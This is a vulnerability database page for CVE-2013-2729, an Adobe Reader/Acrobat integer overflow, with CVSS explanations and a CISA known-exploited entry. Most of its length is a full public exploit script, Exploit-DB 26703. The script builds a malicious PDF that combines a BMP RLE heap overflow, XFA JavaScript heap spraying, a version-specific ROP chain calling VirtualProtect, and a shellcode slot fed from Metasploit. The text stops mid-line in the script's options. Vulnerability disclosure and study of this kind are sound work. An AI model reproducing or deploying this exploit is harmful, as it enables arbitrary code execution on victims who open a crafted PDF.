CVE-2013-2729 : Detail

CVE-2013-2729

9.8
/
Critical
73.55%V3
Network
2013-05-16
10h00 +00:00
2025-02-04
21h53 +00:00
CVE.org
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CVE Descriptions

Integer overflow in Adobe Reader and Acrobat 9.x before 9.5.5, 10.x before 10.1.7, and 11.x before 11.0.03 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2013-2727.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-190 Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-03-27 22h00 +00:00

Action is due : 2022-04-17 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 26703

Publication date : 2013-07-07 22h00 +00:00
Author : feliam
EDB Verified : No

''' Title: Adobe Reader X BMP/RLE heap corruption Product: Adobe Reader X Version: 10.x Product Homepage: adobe.com Binary affected: AcroForm.api Binary Version: 10.1.4.38 Binary MD5: 8e0fc0c6f206b84e265cc3076c4b9841 Configuration Requirements ----------------------------------------- Default configuration. Vulnerability Requirements ----------------------------------------- None. Vulnerability Description ----------------------------------------- Adobe Reader X fails to validate the input when parsing an embedded BMP RLE encoded image. Arbitrary code execution in the context of the sandboxed process is proved possible after a malicious embeded bmp image triggers a heap overflow. Vulnerability WorkAround (if possible) ----------------------------------------- Delete AcroForm.api ''' from hashlib import md5 import sys, struct ######### Begin of the miniPDF import zlib #For constructing a minimal pdf file ## PDF REference 3rd edition:: 3.2 Objects class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise Exception("Fail") ## PDF REference 3rd edition:: 3.2.1 Booleans Objects class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" ## PDF REference 3rd edition:: 3.2.2 Numeric Objects class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" ## A convenient type of literal Strings class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.4 Name Objects class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s ## PDF REference 3rd edition:: 3.2.5 Array Objects class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) assert type(s) == type([]) self.s=s def append(self,o): self.s.append(o) return self def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects class PDFDict(PDFObject): def __init__(self, d={}): PDFObject.__init__(self) self.dict = {} for k in d: self.dict[k]=d[k] def __iter__(self): for k in self.dict.keys(): yield k def __iterkeys__(self): for k in self.dict.keys(): yield k def __getitem__(self, key): return self.dict[key] def add(self,name,obj): self.dict[name] = obj def get(self,name): if name in self.dict.keys(): return self.dict[name] else: return None def __str__(self): s="<<" for name in self.dict: s+="%s %s "%(PDFName(name),self.dict[name]) s+=">>" return s ## PDF REference 3rd edition:: 3.2.7 Stream Objects class PDFStream(PDFDict): def __init__(self,d={},stream=""): PDFDict.__init__(self,d) self.stream=stream self.filtered=self.stream self.add('Length', len(stream)) self.filters = [] def appendFilter(self, filter): self.filters.append(filter) self._applyFilters() #yeah every time .. so what! def _applyFilters(self): self.filtered = self.stream for f in self.filters: self.filtered = f.encode(self.filtered) if len(self.filters)>0: self.add('Length', len(self.filtered)) self.add('Filter', PDFArray([f.name for f in self.filters])) #Add Filter parameters ? def __str__(self): self._applyFilters() #yeah every time .. so what! s="" s+=PDFDict.__str__(self) s+="\nstream\n" s+=self.filtered s+="\nendstream" return s ## PDF REference 3rd edition:: 3.2.8 Null Object class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" ## PDF REference 3rd edition:: 3.2.9 Indirect Objects class UnResolved(PDFObject): def __init__(self,n,v): PDFObject.__init__(self) self.n=n self.v=v def __str__(self): return "UNRESOLVED(%d %d)"%(self.n,self.v) class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): if len(self.obj)==0: return "null" return "%d %d R"%(self.obj[0].n,self.obj[0].v) ## PDF REference 3rd edition:: 3.3 Filters ## Example Filter... class FlateDecode: name = PDFName('FlateDecode') def __init__(self): pass def encode(self,stream): return zlib.compress(stream) def decode(self,stream): return zlib.decompress(stream) ## PDF REference 3rd edition:: 3.4 File Structure ## Simplest file structure... class PDFDoc(): def __init__(self,obfuscate=0): self.objs=[] self.info=None self.root=None def setRoot(self,root): self.root=root def setInfo(self,info): self.info=info def _add(self,obj): if obj.v!=None or obj.n!=None: raise Exception("Already added!!!") obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f \n" for xr in xref.keys(): doc1+= "%010d %05d n \n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)+1) if self.root == None: raise Exception("Root not set!") trailer.add("Root",PDFRef(self.root)) if self.info: trailer.add("Info",PDFRef(self.info)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" return doc1 ######### End of miniPDF SLIDESIZE=0x12C def mkBMP(payload, exception=True): bmp = '' #getInfoHeader bfType = 0x4d42 assert bfType in [0x4d42,0x4349,0x5043,0x4943,0x5043] #0x4142: not supp bmp += struct.pack('<H', bfType) bfSize = 0 bfOffBits = 0 bmp += struct.pack('<L', bfSize) bmp += struct.pack('<H', 0) #Reserved1 bmp += struct.pack('<H', 0) #Reserved2 bmp += struct.pack('<L', bfOffBits) biSize = 0x40 assert not biSize in [0x12] bmp += struct.pack('<L', biSize) biHeight = 1 biWidth = SLIDESIZE #size of texture structure LFH enabled biPlanes = 1 biBitCount = 8 biCompression = 1 biSizeImage = 0 biXPelsPerMeter = 0 biYPelsPerMeter = 0 biClrUsed = 2 if biClrUsed >0xff: raise "BUG!!!!" biClrImportant = 0 bmp += struct.pack('<L', biWidth) bmp += struct.pack('<L', biHeight) bmp += struct.pack('<H', biPlanes) bmp += struct.pack('<H', biBitCount) bmp += struct.pack('<L', biCompression) bmp += struct.pack('<L', biSizeImage) bmp += struct.pack('<L', biXPelsPerMeter) bmp += struct.pack('<L', biYPelsPerMeter) bmp += struct.pack('<L', biClrUsed) bmp += struct.pack('<L', biClrImportant) bmp += 'A'*(biSize-0x40) #pad numColors=biClrUsed if biClrUsed == 0 or biBitCount < 8: numColors = 1<<biBitCount; bmp += 'RGBA'*(numColors) #pallete bmp += '\x00\x02\xff\x00' * ((0xffffffff-0xff) / 0xff) #while (len(bmp)+10)%0x400 != 0: # bmp += '\x00\x02\x00\x00' assert len(payload) < 0x100 and len(payload) >= 3 bmp += '\x00\x02'+chr(0x100-len(payload))+'\x00' bmp += '\x00'+chr(len(payload))+payload if len(payload)&1 : bmp += 'P' if exception: bmp += '\x00\x02\x00\xff'*10 #getting the pointer outside the texture so it triggers an exception bmp += '\x00'+chr(10)+'X'*10 else: bmp += '\x00\x01' #'\x04X'*(biWidth+2000)+"\x00\x02" return bmp def UEncode(s): r = '' s += '\x00'*(len(s)%2) for i in range(0,len(s),2): r+= '\\u%04x'%(struct.unpack('<H', (s[i:i+2]))[0]) return r r = '' for c in s: r+= '%%%02x'%ord(c) return r def mkXFAPDF(shellcode = '\x90'*0x400+'\xcc'): xdp = ''' <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" timeStamp="2012-11-23T13:41:54Z" uuid="0aa46f9b-2c50-42d4-ab0b-1a1015321da7"> <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/"> <?formServer defaultPDFRenderFormat acrobat9.1static?> <?formServer allowRenderCaching 0?> <?formServer formModel both?> <subform name="form1" layout="tb" locale="en_US" restoreState="auto"> <pageSet> <pageArea name="Page1" id="Page1"> <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/> <medium stock="default" short="612pt" long="792pt"/> <?templateDesigner expand 1?> </pageArea> <?templateDesigner expand 1?> </pageSet> <variables> <script name="util" contentType="application/x-javascript"> // Convenience functions to pack and unpack litle endian an utf-16 strings function pack(i){ var low = (i & 0xffff); var high = ((i>>16) & 0xffff); return String.fromCharCode(low)+String.fromCharCode(high); } function unpackAt(s, pos){ return s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16); } function packs(s){ result = ""; for (i=0;i<s.length;i+=2) result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8)); return result; } function packh(s){ return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16)); } function packhs(s){ result = ""; for (i=0;i<s.length;i+=4) result += packh(s.slice(i,i+4)); return result; } var verbose = 1; function message(x){ if (util.verbose == 1 ) xfa.host.messageBox(x); } //ROP0 //7201E63D XCHG EAX,ESP //7201E63E RETN //ROP1 //7200100A JMP DWORD PTR DS:[KERNEL32.GetModuleHandle] //ROP2 //7238EF5C PUSH EAX //7238EF5D CALL DWORD PTR DS:[KERNEL32.GetProcAddress] //7238EF63 TEST EAX,EAX //7238EF65 JNE SHORT 7238EF84 //7238EF84 POP EBP //7238EF85 RETN 4 //ROP3 //72001186 JMP EAX ; kernel32.VirtualProtect //ROP4 //72242491 ADD ESP,70 //72242494 RETN var _offsets = {'Reader": { "10.104": { "acrord32": 0xA4, "rop0": 0x1E63D, "rop1": 0x100A, "rop2": 0x38EF5C, "rop3": 0x1186, "rop4": 0x242491, }, "10.105": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, "10.106": { // Added by Eddie Mitchell "acrord32": 0xA5, "rop0": 0x1E52D, "rop1": 0x100A, "rop2": 0x393526, "rop3": 0x1186, "rop4": 0x245E71, }, }, "Exchange-Pro": { "10.105": { // Added by Eddie Mitchell "acrobat": 0xCD, "rop0": 0x3720D, "rop1": 0x100A, "rop2": 0x3DCC91, "rop3": 0x180F, "rop4": 0x25F2A1, }, }, }; function offset(x){ //app.viewerType will be "Reader" for Reader, //"Exchange" for Acrobat Standard or "Exchange-Pro" for Acrobat Pro try { return _offsets[app.viewerType][app.viewerVersion][x]; } catch (e) { xfa.host.messageBox("Type:" +app.viewerType+ " Version: "+app.viewerVersion+" NOT SUPPORTED!"); } return 0x41414141; } </script> <script name="spray" contentType="application/x-javascript"> // Global variable for spraying var slide_size=%%SLIDESIZE%%; var size = 200; var chunkx = "%%MINICHUNKX%%"; var x = new Array(size); var y = new Array(size); var z = new Array(size); var pointers = new Array(100); var done = 0; </script> <?templateDesigner expand 1?> </variables> <subform w="576pt" h="756pt"> <!-- This image fiel hold the cashing image --> <field name="ImageCrash"> <ui> <imageEdit/> </ui> <value> <image aspect="actual" contentType="image/jpeg">%%BMPFREELFH%%</image> </value> </field> </subform> <event activity="initialize" name="event__initialize"> <script contentType="application/x-javascript"> // This script runs at the very beginning and // is used to prepare the memory layout util.message("Initialize"); var i; var j; if (spray.done == 0){ //Trigger LFH use var TOKEN = "\u5858\u5858\u5678\u1234"; var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2); for (i=0; i < spray.size; i+=1) spray.x[i] = TOKEN + util.pack(i) + spray.chunkx.substring(0, chunk_len) + util.pack(i) + ""; util.message("Initial spray done!"); for (j=0; j < size; j++) for (i=spray.size-1; i > spray.size/4; i-=10) spray.x[i]=null; spray.done = 1; util.message("Generating holes done!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } // After this the form layout is rendered and the bug triggered </script> </event> <event activity="docReady" ref="$host" name="event__docReady"> <script contentType="application/x-javascript"> // This script runs once the page is ready util.message("DocReady"); var i; var j; var found = -1; // Index of the overlapped string var acro = 0; // Base of the AcroRd32_dll // Search over all strings for the first one with the broken TOKEN for (i=0; i < spray.size; i+=1) if ((spray.x[i]!=null) && (spray.x[i][0] != "\u5858")){ found = i; acro = (( util.unpackAt(spray.x[i], 14) >> 16) - util.offset("acrord32")) << 16; util.message("Found! String number "+ found + " has been corrupted acrord32.dll:" + acro.toString(16) ); break; } // Behaviour is mostly undefined if not found if (found == -1){ util.message("Corrupted String NOT Found!"); event.target.closeDoc(true); } // Corrupted string was found let's generates the new // string for overlapping the struct before freeing it var chunky = ""; for (i=0; i < 7; i+=1) chunky += util.pack(0x41414141); chunky += util.pack(0x10101000); while (chunky.length < spray.slide_size/2) chunky += util.pack(0x58585858); // Free the overlapping string util.message("Feeing corrupted string! Previous string will we used-free ("+(found)+")"); for (j=0; j < 100000; j++) spray.x[found-1]=spray.x[found]=null; // Trigger several allocs that will fall over the structure for (i=0; i < 200; i+=1){ ID = "" + i; spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ ""; } util.message("Allocated 20 chunks-y\\n"); // Heap spraying make's baby jesus cry! // Construct the 0x1000 small chunk for spraying var obj = 0x10101000; var pointer_slide = ""; pointer_slide += util.pack(acro+util.offset("rop4")); //add esp,70;ret for (i=0; i < 27; i+=1) pointer_slide += util.pack(0x41414141); obj += pointer_slide.length*2; // ROP pointer_slide += util.pack(acro+util.offset("rop0")); //XCHG EAX,ESP;ret pointer_slide += util.pack(acro+util.offset("rop1")); //0x100A jmp getmodule pointer_slide += util.pack(acro+util.offset("rop2")); //@0x04 - getProcAddress pointer_slide += util.pack(obj+0xDC); //@0x08 point to KERNEL32 //@0x10 pointer_slide += util.pack(obj+0xCC); pointer_slide += util.pack(0x43434343); // POPPED TO EBP pointer_slide += util.pack(acro+util.offset("rop3")); // JMP EAX pointer_slide += util.pack(obj); //Points to offset 0 of this //@0x20 pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(obj+0x38); pointer_slide += util.pack(0x1000); //SIZE_T dwSize, pointer_slide += util.pack(0x40); // DWORD flNewProtect, //0x30 pointer_slide += util.pack(obj+0x34); //PDWORD lpflOldProtect pointer_slide += util.pack(0x00000000); //DWORD OldProtect pointer_slide += util.packhs("E9B1000000909090"); //0x40 pointer_slide += util.pack(acro); //Used by next stage pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x50 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x60 pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.pack(0xCCCCCCCC); //0x70 pointer_slide += util.pack(acro); pointer_slide += util.pack(0x48484848); pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x49494949); //0x80 pointer_slide += util.pack(0x49494949); pointer_slide += util.pack(0x50505050); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0x90 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xa0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xb0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); //0xc0 pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0x46464646); pointer_slide += util.pack(0xCCCCCCCC); pointer_slide += util.packs("VirtualProtect"); //@0xCC pointer_slide += "\u0000"; pointer_slide += "KERNEL32"; pointer_slide += "\u0000"; pointer_slide += "%%SHELLCODE%%"; while (pointer_slide.length < 0x1000/2) pointer_slide += util.pack(0x41414141); pointer_slide = pointer_slide.substring(0,0x1000/2); util.message("Pointer slide size: " + pointer_slide.length); // And now ensure it gets bigger than 0x100000 bytes while (pointer_slide.length < 0x100000/2) pointer_slide += pointer_slide; // And the actual spray for (i=0; i < 100; i+=1) spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + ""; // Everything done here close the doc and // trigger the use of the vtable util.message("Now what?"); var pdfDoc = event.target; pdfDoc.closeDoc(true); </script> </event> </subform> <?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.5/?> <?templateDesigner DefaultLanguage JavaScript?> <?templateDesigner DefaultRunAt client?> <?acrobat JavaScript strictScoping?> <?PDFPrintOptions embedViewerPrefs 0?> <?PDFPrintOptions embedPrintOnFormOpen 0?> <?PDFPrintOptions scalingPrefs 0?> <?PDFPrintOptions enforceScalingPrefs 0?> <?PDFPrintOptions paperSource 0?> <?PDFPrintOptions duplexMode 0?> <?templateDesigner DefaultPreviewType interactive?> <?templateDesigner DefaultPreviewPagination simplex?> <?templateDesigner XDPPreviewFormat 19?> <?templateDesigner DefaultCaptionFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner DefaultValueFontSettings face:Myriad Pro;size:10;weight:normal;style:normal?> <?templateDesigner Zoom 119?> <?templateDesigner FormTargetVersion 30?> <?templateDesigner SaveTaggedPDF 1?> <?templateDesigner SavePDFWithEmbeddedFonts 1?> <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?></template> <config xmlns="http://www.xfa.org/schema/xci/3.0/"> <agent name="designer"> <!-- [0..n] --> <destination>pdf</destination> <pdf> <!-- [0..n] --> <fontInfo/> </pdf> </agent> <present> <!-- [0..n] --> <pdf> <!-- [0..n] --> <version>1.7</version> <adobeExtensionLevel>5</adobeExtensionLevel> </pdf> <common/> <xdp> <packets>*</packets> </xdp> </present> </config> <localeSet xmlns="http://www.xfa.org/schema/xfa-locale-set/2.7/"> <locale name="en_US" desc="English (United States)"> <calendarSymbols name="gregorian"> <monthNames> <month>January</month> <month>February</month> <month>March</month> <month>April</month> <month>May</month> <month>June</month> <month>July</month> <month>August</month> <month>September</month> <month>October</month> <month>November</month> <month>December</month> </monthNames> <monthNames abbr="1"> <month>Jan</month> <month>Feb</month> <month>Mar</month> <month>Apr</month> <month>May</month> <month>Jun</month> <month>Jul</month> <month>Aug</month> <month>Sep</month> <month>Oct</month> <month>Nov</month> <month>Dec</month> </monthNames> <dayNames> <day>Sunday</day> <day>Monday</day> <day>Tuesday</day> <day>Wednesday</day> <day>Thursday</day> <day>Friday</day> <day>Saturday</day> </dayNames> <dayNames abbr="1"> <day>Sun</day> <day>Mon</day> <day>Tue</day> <day>Wed</day> <day>Thu</day> <day>Fri</day> <day>Sat</day> </dayNames> <meridiemNames> <meridiem>AM</meridiem> <meridiem>PM</meridiem> </meridiemNames> <eraNames> <era>BC</era> <era>AD</era> </eraNames> </calendarSymbols> <datePatterns> <datePattern name="full">EEEE, MMMM D, YYYY</datePattern> <datePattern name="long">MMMM D, YYYY</datePattern> <datePattern name="med">MMM D, YYYY</datePattern> <datePattern name="short">M/D/YY</datePattern> </datePatterns> <timePatterns> <timePattern name="full">h:MM:SS A Z</timePattern> <timePattern name="long">h:MM:SS A Z</timePattern> <timePattern name="med">h:MM:SS A</timePattern> <timePattern name="short">h:MM A</timePattern> </timePatterns> <dateTimeSymbols>GyMdkHmsSEDFwWahKzZ</dateTimeSymbols> <numberPatterns> <numberPattern name="numeric">z,zz9.zzz</numberPattern> <numberPattern name="currency">$z,zz9.99|($z,zz9.99)</numberPattern> <numberPattern name="percent">z,zz9%</numberPattern> </numberPatterns> <numberSymbols> <numberSymbol name="decimal">.</numberSymbol> <numberSymbol name="grouping">,</numberSymbol> <numberSymbol name="percent">%</numberSymbol> <numberSymbol name="minus">-</numberSymbol> <numberSymbol name="zero">0</numberSymbol> </numberSymbols> <currencySymbols> <currencySymbol name="symbol">$</currencySymbol> <currencySymbol name="isoname">USD</currencySymbol> <currencySymbol name="decimal">.</currencySymbol> </currencySymbols> <typefaces> <typeface name="Myriad Pro"/> <typeface name="Minion Pro"/> <typeface name="Courier Std"/> <typeface name="Adobe Pi Std"/> <typeface name="Adobe Hebrew"/> <typeface name="Adobe Arabic"/> <typeface name="Adobe Thai"/> <typeface name="Kozuka Gothic Pro-VI M"/> <typeface name="Kozuka Mincho Pro-VI R"/> <typeface name="Adobe Ming Std L"/> <typeface name="Adobe Song Std L"/> <typeface name="Adobe Myungjo Std M"/> </typefaces> </locale> <?originalXFAVersion http://www.xfa.org/schema/xfa-locale-set/2.1/?></localeSet> <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> <xfa:data xfa:dataNode="dataGroup"/> </xfa:datasets> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.2-c001 63.139439, 2011/06/07-10:39:26 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description xmlns:xmp="http://ns.adobe.com/xap/1.0/" rdf:about=""> <xmp:MetadataDate>2012-11-23T13:41:54Z</xmp:MetadataDate> <xmp:CreatorTool>Adobe LiveCycle Designer ES 10.0</xmp:CreatorTool> <xmp:ModifyDate>2012-11-23T05:26:02-08:00</xmp:ModifyDate> <xmp:CreateDate>2012-11-23T05:15:47-08:00</xmp:CreateDate> </rdf:Description> <rdf:Description xmlns:pdf="http://ns.adobe.com/pdf/1.3/" rdf:about=""> <pdf:Producer>Adobe LiveCycle Designer ES 10.0</pdf:Producer> </rdf:Description> <rdf:Description xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" rdf:about=""> <xmpMM:DocumentID>uuid:0aa46f9b-2c50-42d4-ab0b-1a1015321da7</xmpMM:DocumentID> <xmpMM:InstanceID>uuid:86c66599-7238-4e9f-8fad-fe2cd922afb2</xmpMM:InstanceID> </rdf:Description> <rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/" rdf:about=""> <dc:format>application/pdf</dc:format> </rdf:Description> </rdf:RDF> </x:xmpmeta> <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"> <annots/> </xfdf></xdp:xdp> ''' assert len(shellcode) <= 0xF00, "You need a smaller shellcode, sorry" #shellcode xdp = xdp.replace("%%SHELLCODE%%",UEncode(shellcode)) xdp = xdp.replace("%%SLIDESIZE%%", "0x%x"%SLIDESIZE); xdp = xdp.replace("%%MINICHUNKX%%",UEncode('O'*SLIDESIZE)) xdp = xdp.replace("%%BMPFREELFH%%",mkBMP('\x01\x00\x00\x00\x00\x00'+ chr(0x27)+'\x05',True).encode('base64')) #xdp = xdp.replace("%%BMPFREELFH%%",file("/usr/share/pixmaps/gnome-news.png","rb").read().encode('base64')) file("%s.log"%sys.argv[0].split('.')[0],'wb').write(xdp) #The document doc = PDFDoc() #font font = PDFDict() font.add("Name", PDFName("F1")) font.add("Subtype", PDFName("Type1")) font.add("BaseFont", PDFName("Helvetica")) #name:font map fontname = PDFDict() fontname.add("F1",font) #resources resources = PDFDict() resources.add("Font",fontname) #contents contentsDict = PDFDict() contents= PDFStream(contentsDict, '''BT /F1 24 Tf 100 100 Td (Pedefe Pedefeito Pedefeon!) Tj ET''') #page page = PDFDict() page.add("Type",PDFName("Page")) page.add("Resources",resources) page.add("Contents", PDFRef(contents)) #pages pages = PDFDict() pages.add("Type", PDFName("Pages")) pages.add("Kids", PDFArray([PDFRef(page)])) pages.add("Count", PDFNum(1)) #add parent reference in page page.add("Parent",PDFRef(pages)) xfa = PDFStream(PDFDict(), xdp) xfa.appendFilter(FlateDecode()) doc.add(xfa) #form form = PDFDict() form.add("XFA", PDFRef(xfa)) doc.add(form) #shellcode2 shellcode2 = PDFStream(PDFDict(), struct.pack("<L",0xcac0face)+"\xcc"*10) doc.add(shellcode2) #catalog catalog = PDFDict() catalog.add("Type", PDFName("Catalog")) catalog.add("Pages", PDFRef(pages)) catalog.add("NeedsRendering", "true") catalog.add("AcroForm", PDFRef(form)) adbe = PDFDict() adbe.add("BaseVersion","/1.7") adbe.add("ExtensionLevel",PDFNum(3)) extensions = PDFDict() extensions.add("ADBE", adbe) catalog.add("Extensions",extensions) doc.add([catalog,pages,page,contents]) doc.setRoot(catalog) #render it return doc.__str__() if __name__ == '__main__': import optparse,os from subprocess import Popen, PIPE parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default="windows/messagebox ", help="Metasploit 